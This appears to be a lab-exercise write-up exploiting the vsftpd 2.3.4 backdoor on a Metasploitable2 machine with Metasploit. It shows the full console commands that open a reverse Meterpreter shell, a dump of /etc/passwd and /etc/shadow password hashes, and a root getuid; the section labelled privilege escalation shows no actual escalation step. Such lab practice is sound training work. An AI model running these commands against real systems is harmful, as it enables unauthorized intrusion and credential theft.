

Exploitation Practice

Tool: Metasploit

Task: Exploit a Metasploitable2 service.

Metasploit Exploit: Use Metasploit to exploit a known vulnerability on Metasploitable2. Document steps in a 100-word summary.

Privilege Escalation Demo: Attempt a basic privilege escalation on Metasploitable2.

Proof

```
(root@kali)~[/home/blackhat]
# msfconsole

msf > search vsftpd

Matching Modules
=====
#  Full Name                                   Disclosure Date  Rank   Check  Name
-  -
0  auxiliary/dos/ftp/vsftpd_232                2011-02-03      normal Yes     vsftpd 2.3.2 and Earlier STAT Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor         2011-07-03      excellent Yes     vsftpd 2.3.4 Backdoor Command Execution

msf > use 1
[*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp

msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.0.114
RHOSTS => 192.168.0.114

msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.0.110
LHOST => 192.168.0.110

msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] Started reverse TCP handler on 192.168.0.110:4444
[*] 192.168.0.114:21 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.0.114:21 - FTP banner hints its vulnerable: 220 (vsFTPd 2.3.4)
[+] 192.168.0.114:21 - The target appears to be vulnerable. vsftpd 2.3.4 banner detected; backdoor may be present
[*] 192.168.0.114:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (192.168.0.110:4444 -> 192.168.0.114:35997) at 2026-09-07 03:06:41 +0530
```

Summary

The assessment was performed against the Metasploitable2 system in an authorized lab environment. First, Metasploit Framework was launched using msfconsole, and search vsftpd was used to identify available VSFTPD modules. The vsftpd_234_backdoor exploit was selected with use 1. The target IP address was configured as RHOSTS 192.168.0.114, while the attacker machine was configured as LHOST 192.168.0.110. The exploit was then executed using run. Metasploit detected the vulnerable VSFTPD 2.3.4 service and confirmed that the backdoor was present. The exploitation was successful, resulting in a Meterpreter session from the target system to the attacker machine.

Privilege Escalation

```
meterpreter > cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/bin/false
user:x:1001:1001:just a user,11,,,:/home/user:/bin/bash
service:x:1002:1002,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
```

```
meterpreter > cat /etc/shadow
root:$1$/avpFBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon*:14684:0:99999:7:::
bin*:14684:0:99999:7:::
sys:$1$fUX6BPot$MiyC3Up0zQJqz4s5wFD9l0:14742:0:99999:7:::
sync*:14684:0:99999:7:::
games*:14684:0:99999:7:::
man*:14684:0:99999:7:::
lp*:14684:0:99999:7:::
mail*:14684:0:99999:7:::
news*:14684:0:99999:7:::
uucp*:14684:0:99999:7:::
proxy*:14684:0:99999:7:::
www-data*:14684:0:99999:7:::
backup*:14684:0:99999:7:::
list*:14684:0:99999:7:::
irc*:14684:0:99999:7:::
gnats*:14684:0:99999:7:::
nobody*:14684:0:99999:7:::
libuuid!:14684:0:99999:7:::
dhcp*:14684:0:99999:7:::
syslog*:14684:0:99999:7:::
klog:$1$f2ZVMS4K$R9XkI.CmLdHHdUE3X9jqP0:14742:0:99999:7:::
sshd*:14684:0:99999:7:::
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::
bind*:14685:0:99999:7:::
postfix*:14685:0:99999:7:::
ftp*:14685:0:99999:7:::
postgres:$1$Rw35ik.x$MgQgZUu05pAoUvfJhfcYe/:14685:0:99999:7:::
mysql!:14685:0:99999:7:::
tomcat55*:14691:0:99999:7:::
distccd*:14698:0:99999:7:::
user:$1$HESu9xrH$K.o3G93DGoXIiQKkPmUgZ0:14699:0:99999:7:::
service:$1$KR3ue7JZ$7GxELDupr50hp6cjz3Bu//:14715:0:99999:7:::
telnetd*:14715:0:99999:7:::
proftpd!:14727:0:99999:7:::
statd*:15474:0:99999:7:::
```

```
meterpreter > getuid
Server username: root
```